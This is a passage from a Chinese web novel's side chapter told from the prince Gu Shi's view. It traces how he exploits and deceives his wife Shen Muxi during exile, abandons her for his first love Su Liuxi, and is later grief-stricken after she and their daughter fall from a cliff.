不管你身边的环境如何,我统统不在意,我在意的,从来只有你这个人。” 皓月西斜。 清冷月辉落在她的身上,她的眼神晶亮,整个人像是在发光。 在那一刻,她的身影霸道地闯入了顾时的眼中,夺走了他所有的注意力。 他甚至,有那么一瞬间,已经分不清自己跟她是在做戏,还是已经以身入了局... 他紧紧将她拥入怀中,似是揽入了这个世上的绝世珍宝。 “招娣这个名字,不好,你可愿意让我我给你重新取一个名字?” 她乖乖由他拥抱,“我的文采可能不及你,你要是取好了,可以告诉我一声。” “早在知道你名字的时候,我就已经为你取好名字了,你就叫慕兮,可好?慕兮,隐含我对你的心悦。” “好,我以后就叫慕兮,沈慕兮。” ... 一个月后。 顾时与沈慕兮成亲了。 没有十里红妆,只有自己扯的几尺红布,书音帮忙缝制的一男一女两套嫁衣。 酒席也没有,只有主仆共坐一桌,吃了一顿丰盛的晚宴。 康氏难得没有找茬。 因为,她乐见其成,家中多了一个可以挣钱的奴才。 成亲以后。 沈慕兮更忙了。 顾时最清楚她忙碌的原因——康氏提出来的要求越来越过分。 沈慕兮不是没有在他面前跟他抱怨过。 顾时都含糊而过。 后来,沈慕兮有孕了。 可康氏的要求,依旧没有因此而收敛。 这天,沈慕兮挺着五个月的肚子,在他面前跟他抱怨母亲嫌弃她下荷塘的时间变短了。 她哭着回房质问顾时,撕碎了他手上描画的丹青,“我肚子里有五个多月的孩子,你母亲是一点都看不见吗?今天要发簪,明天要耳坠。 在她心里,难道你的孩子还比不上她的首饰?” 顾时忍不住反唇相讥,“当初,是你说只在乎我这个人,如今我对你好了,你却还要对我母亲提出要求,沈慕兮,你怎么变成这样?” 看到她的脸色微变。 顾时害怕她一气之下撂挑子跑了。 又软着声调轻哄,“母亲以前都是锦衣玉食,若不是受奸人所害,她也不至于落魄成这样,她心里落差大,有些脾气,是可以理解的。 我作为儿子,理应孝顺母亲,你作为我的妻子,你会支持我的,对吗?” 她脸上的怒意稍微敛去了些。 他再接再厉,温声轻哄,“我也知道,是我不好,我空有一身武艺,却抹不开脸子,可是,我的脸面不就是你的脸面?若是能有一日被圣人想起,我们能够回京,你作为我的夫人,脸上自然也有光,不是?” 她的态度终于软化下来,“那你也不能什么事情都不做?” “做,肯定做,”顾时信誓旦旦地保证,“你没看到我现在已经在开始着手画丹青了吗?等过段时间,天气凉快了,我那个帮人写信的摊位就重新支起来,再买卖字画,我们一起为以后的日子努力。” 说着,他又轻轻握住了她的手,放到唇边印了一下。 也许是因为这些天她每天都去帮忙挖莲藕,她的手上还带着泥腥味。 顾时亲了她的手一下,只觉得鼻翼之间都是泥腥味。 一阵恶心感往上涌,他又硬生生地压了下去。 直到沈慕兮心满意足地回去继续挖莲藕,他才干呕了几声。 这样下去不行。 母妃压榨太厉害,沈慕兮还是会跑的。 他去找康氏的时候,康氏正在欣赏她最近新得到的手镯,洋洋得意地跟身边的婆子吐槽。 “虽然成色是差了点,但是总比没有好,说来说去,还是那个来历不明的贱婢没用,有挣银钱的门路,也不知道多挣些钱银回来。” 顾时当即皱紧了眉头,“母妃,她还怀着身孕,你能不能别逼她那么紧?” 康氏脸色一沉,“那个贱婢,找你告状了?” “现在还在丹阳,你不要张口闭口就是贱婢,”顾时反驳,“除非母妃你以后想过回之前的日子。” 他后面的话,绝对不是危言耸听。 之前来到这里的时候,不是没有姑娘看上过顾时。 只是康氏的行为劝退了所有人。 一个样样都要精细的女人,在丹阳来说,就像是一个无底洞一般的存在。 康氏这才反应过来。 “可是,我一天不看我这些宝贝,我就心情不好...” “那你就忍一忍,等她孩子生下来再说。” 康氏狠狠地赞同了顾时的话,“也对,孩子生下来了,她就跑不掉了。” 当天晚上。 康氏大发慈悲地将沈慕兮叫去了她的屋里,施舍一般给沈慕送了一根款式老旧的银簪。 “你怀有身孕,也不容易,这是赏你的。” 沈慕兮以为自己的努力得到了康氏的认可,欢喜接过。 “谢谢婆母。” 康氏皱了皱眉,扬手打发道,“行了,今日要是累了,就好好休息一下,明日你可以晚一些去挖莲藕。” 第205章 顾时番外(中) 康氏送沈慕银簪的做法,自然是顾时教她的。 所以当沈慕兮欢喜地拿着康氏给她银簪回来时,顾时将早已准备好的说辞对沈慕兮说了一番。 “都说了母亲只是嘴硬心软,只是以前高高在上习惯了,所以不懂得怎么跟人相处。” “是啊,”沈慕兮没有丝毫怀疑,“婆母认可我,我一定不能让她失望。” 顾时轻轻拥她入怀,“这次是母亲大度原谅了你,可为人儿媳,你终究是个晚辈,以后可不能再这般任性了。” 沈慕兮乖顺点头,“我也只是急了,毕竟孩子...” 顾时眉头微皱,有些不耐烦地打断,“孩子也有我的份,难道我就不心疼?但是也是为了咱们的以后着想,毕竟,等孩子生下来了,咱们还需要母亲帮忙教养,我们好出去挣些银子,不然一大家子,吃什么,喝什么?” “你说得对,是我太肤浅了,只看到眼前的。” 自从那天以后,沈慕兮就没有再抱怨,甚至比以前还要卖力。 四个月后,她煎熬了两天一夜,终于生下了一个白白嫩嫩的女儿。 虽然孩子瘦得跟个小猴子似的,可哭声洪亮。 她明显很欢喜。 刚生产完换了衣裳,甚至连产房里的血腥味都还未散去就让顾时帮忙取名字。 顾时看着眼前皱巴巴的小婴孩,再看到她因为生产时候受的罪,心中想到的却是远在京都的苏柳溪,一年前,她生女儿的时候,是不是也是遭了这种罪? 连沈慕兮这么皮实的人生个孩子都几乎没了半条命。 溪溪这么柔弱,生孩子这么艰险,岂不是... 每次想到这个事情,顾时就恨不得快马加鞭飞到苏柳溪身边,好好看看她跟她的女儿。 眼前婴儿的啼哭,将顾时带回了现实。 他现在还是戴罪流放之身。 不能私自回京... 看着从他手上接过孩子喂奶的沈慕兮,顾时竟从心底涌起了一股对苏柳溪的愧疚。 他们本来是青梅竹马。 如今,他却与别的女人生了孩子... 沈慕兮的声音拉回了他的思绪。 “...你想好女儿的名字了吗?” 他胡乱应了一声。 “想好了,就叫筱筱,。” 同音小小,如果以后有一天能遇到溪溪跟溪溪的孩子,他也会让筱筱在溪溪的孩子面前,伏低做小,让筱筱一切以溪溪的孩子为先;毕竟,筱字也是小竹子的意思。 有那么一瞬间,他竟然希望,自己的女儿不要存在这个世上,永远停留在做一根小竹子的时候。 对沈慕兮的解说,则是,“筱筱有单纯可爱的意思,我希望,咱们的女儿,能聪明伶俐,一直做我们的掌上明珠。” 沈慕兮明显被他的这个说辞感动到了,瞬间红了眼眶。 “女儿一定可以成为我们的掌上明珠。” 她的声音语调上扬,明显对未来抱着极大的希望。 顾时不敢告诉她,在知道她生下女儿的那一刻,母妃直接扬言让她不要指望能把孩子送到她膝下教养。 贱婢的孩子,不配。 在康氏看来,沈氏已经生了孩子,是跑不掉了。 她也不必要再像之前那样“仁慈”,还时不时“讨好”沈慕兮。 因此,沈慕兮还未出月子的时候,康氏就各种甩脸色给沈慕兮。 各种变着法子催她出去赚银子。 还不允许她留下孩子在家里。 免得孩子哭得她头疼。 这些,顾时都看在眼里。 但他觉得没有任何问题。 将心比心,他能理解母妃厌恶婴孩,有时候,顾筱筱也哭得他很烦躁。 他更能理解想要男孙的心情,不管是平民百姓还是高门大户,肯定都会更加稀罕男孙多一些。 再往深入一点想,连他母妃对自己人这么好说话的人,都因为沈慕兮生下女儿不满,可想而知,溪溪在京都,过的是什么样的苦日子? 溪溪本来就比较多愁善感,再对比沈慕兮在他身边日益彪悍圆滑,他甚至开始对沈慕兮有了一点厌恶。 但他不反感她给他银钱。 因为沈慕兮的努力,顾时手上有了余钱。 他开始攒下银子,打点京城苏府曾经的下人。 在知道苏府其实并没有表面看上去那么简单以后,他因着与苏柳溪的旧情与苏府搭上了线。 终于,顾筱筱三岁那年,顾时得到了一个冒领旁人功劳的机会。 那是一个国子监祭酒。 在圣上万寿遭遇刺杀的时候,为圣上挡了一刀,当场毙命。 苏府那边的人买通御林军,买通太医,伪造从丹阳到京城的出入文书,瞒天过海,将功劳推在顾时的身上。 顾时左等右等,始终等不来京都的消息。 过了几天,京都来了关于苏柳溪的消息。 他信上的内容才看到一半,在他旁边支起的另一个摊子就被前来找麻烦的人打砸了。 顾时遭受了无妄之灾。 在闪躲那些人的时候,那封看到一半的信件掉落在地,眼看就要被人轮圆了刀子劈上去,他不管不顾飞奔上前狠狠挨了一刀。 他的信件保住了,手也废了。 那一天。 他第一次看到沈慕兮落泪。 因为他受伤的手。 为了让他的手能够尽快恢复,沈慕兮白天各种忙碌维持生计,晚上还要背着女儿去大山里给她寻找续骨的药草。 在她精心的照料下,他的右手,算是保住了。 在家养伤的时候,顾时也没有闲着。 他不断利用在沈慕兮身上榨取的钱银打点疏通京都上下关系。 直到京城几乎有大半的人都知道顾时在丹阳娶了一个平民妻子生了女儿,圣上才决定重新接纳顾时。 那一年,顾筱筱五岁。 他不是没有想过回京的时候就带上沈慕兮。 可是母妃跟他说的话也没错,沈慕兮母女本就是平民,在丹阳这种地方生活得如鱼得水,可想而知,生活习惯有多么粗鄙。 回到京都,遇到的都是那些精细人儿,一不小心,反而还让人瞧了笑话去。 于是,他搜肠刮肚,终于找到了不能带沈慕兮回去京都的理由。 “筱筱现在还小,不宜长途奔波,再加上此次回京,福祸不知,你且跟筱筱在这里等我,等我回京安顿下来以后,再遣人来接你。” 他本已经做好了沈慕兮反对的准备,还另外准备了一套说辞。 没想到沈慕兮竟然轻易就点头答应了。 还把自己身上的所有银子都给了他。 “你回去京城,遇到的都是一些达官贵人,有时候也需要打点疏通关系,银子你拿着旁身。” 末了,还面带担忧地让他注意手上的旧伤。 顾时再次庆幸,自己当初能及时出手,抓住了沈慕兮这根救命稻草。 离开的时候,他们带走了所有的东西,不方便在路上携带的,他们都全部变卖掉了。 从头到尾,沈慕兮也只是带着顾筱筱在一旁看着家里的东西一件件被搬空。 顾时有考虑过,若是沈慕兮真的一直这么乖,他也可以在回去京城以后,重新给她一个名分。 可是想法一出来,立刻被康氏否定了。 “从丹阳回去京都以后,你就是荣郡王,这沈氏跟顾筱筱与你在丹阳与你经历的一切就像是你人生的污点,以后你在京都还如何立足?” 顾时忽然发现康氏说得很有道理。 在丹阳那几年,对他来说,都是暗无天日的。 那对母女确实有给他带来情绪价值,可是,远远不及溪溪母女的手指头。 在他回京之前,收到了溪溪的来信,她在虞家过得不好,而且还发现了虞家的秘密,现在她在想办法脱离虞家... 到京都以后,顾时满心都是尽快解救苏柳溪,一晃忙碌了三个多月。 直到圣上提起他在丹阳有妻儿的事情并打算给他那个不离不弃的妻子册封诰命的时候,他才骤然想起,在丹阳还有一对母女在等他。 他主动把原本应该给沈慕兮封诰用来作为救出苏柳溪的条件。 并跟圣上保证,他对沈慕兮始终如一,才让圣上点头。 为了护住苏柳溪母女,他把沈慕兮接回来了。 毕竟,筱筱不管怎样都是他的女儿,堂堂荣郡王的女儿流落在外,确实不像话。 他以为,她会在知道他的身份以后,会知难而退。 不成想,她居然还想在丹阳时候,以正妻的身份自居。 母妃说得没错,沈氏就是太过贪心了。 他自认为自己作为丈夫,在她带着女儿回府以后特地让同为女子的溪溪为她挑选新布料做衣裳已经十分称职。 没想到,她那双粗糙的手居然吧新布料划得勾了丝。 不仅溪溪愣在了当场,连他都懵了。 她这是在提醒他,这几年她跟在她身边在丹阳受的苦吗? 他已经在极力隐忍她的无理取闹。 她倒好,在府上变本加厉地作威作福,还欺负溪溪母女恶人先告状。 后来居然还敢管到溪溪的头上。 溪溪才刚和离没多久,她就提出让溪溪母女搬离荣郡王府,这让她如何做人? 他不过只是反驳了她几句,她居然还离府出走。 甚至还不知在哪里勾结上了裴望等人。 连筱筱生病了也不管。 他就没见过这么狠心的母亲。 那会,他是真的生气。 可是,随着时间的推移,他慢慢觉察到了不对劲。 因为,按照沈慕兮这几年对女儿的重视,她再生气,也不可能一直将女儿丢弃在府上不管。 他开始想她了。 然而,事实证明。 回来京城以后,除了让他失望,她是半点建树都没有。 他的恻隐之心刚刚才起来,她就带着奸夫将女儿带走... 理智告诉他,他应该要放她一条生路。 可... 明明是她先说开始,结束应当要由他来说才公平。 也许,也是因为这个执念,让她没有机会放手。 再后来。 发生了一系列的事情,他才知道,自己之前对她的误会竟然这么深。 他想弥补。 可他却不知道去哪里找回她们。 莫名地。 他慌了。 连他自己也不知道这种心慌到底从何而来。 他想,他可能真的爱上沈慕兮了。 也在那时候开始,他决定,等找到沈慕兮,真正以荣郡王的身份给她一个名分。 也许是老天垂怜,被他的真诚感动。 在他锲而不舍找人寻了一段时间以后。 他总算得知她们母女二人流落在南渊。 为此,他不惜花重金找人去将她们带回来。 纵然只有筱筱回来了,他也坚信,在他看不见的地方,沈慕兮肯定在看着。 她最重视女儿。 他知道的。 果不其然。 没多久,他就在京都再次重遇了她。 只可惜,不管他怎么劝说,她都不领情,有那么几次,他都觉得肯定是自己对她太好,所以才让她这般得寸进尺。 好在,有筱筱在。 她跑不掉。 自从她回府以后,他的脑子里就有一个声音告诉他,他不能再这么没有原则地忍让她。 可另一个声音又在提醒他:她现在的不理不睬,大抵是对他完全失望了,他更应该好好表现,重新获得她的心。 偏偏那段时间,府上事情也多,母妃被狗咬伤了腿,而她嘴上跟态度上对他冷淡,伺候母妃却依旧尽心尽力。 连母妃都开始为她说话。 他慢慢地偏向后面一个声音。 也许,等母妃的腿好了以后。 他们一家人就可以重新开始... 他要告诉她,即使他对苏柳溪动过心,取悦苏柳溪,可是最后,他还是想让她做他的妻子。 他给不了她名分,他可以给她这颗心。 就在他满心憧憬二人美好的未来时候。 意外总是来得如此突然。 苏柳溪竟然勾结苏勇,将她们母女二人绑架了。 亲眼看着苏勇将母女二人逼落山崖的那一刻,他心里的疼痛,即使是杀了苏勇也难消。 当他在木兰山下那个深潭找到沈慕兮母女的那一刻,他只觉得,他的世界变得一片灰暗。 他想。 他一定是在做梦。 他要弄醒自己,醒来了,就能看到他的慕慕跟筱筱。 心里这么想着,他竟当真拿起石头狠狠用力想要砸上脑袋。 王英大步上前卸下了他手中的力道和石头,“王爷,您在做什么?”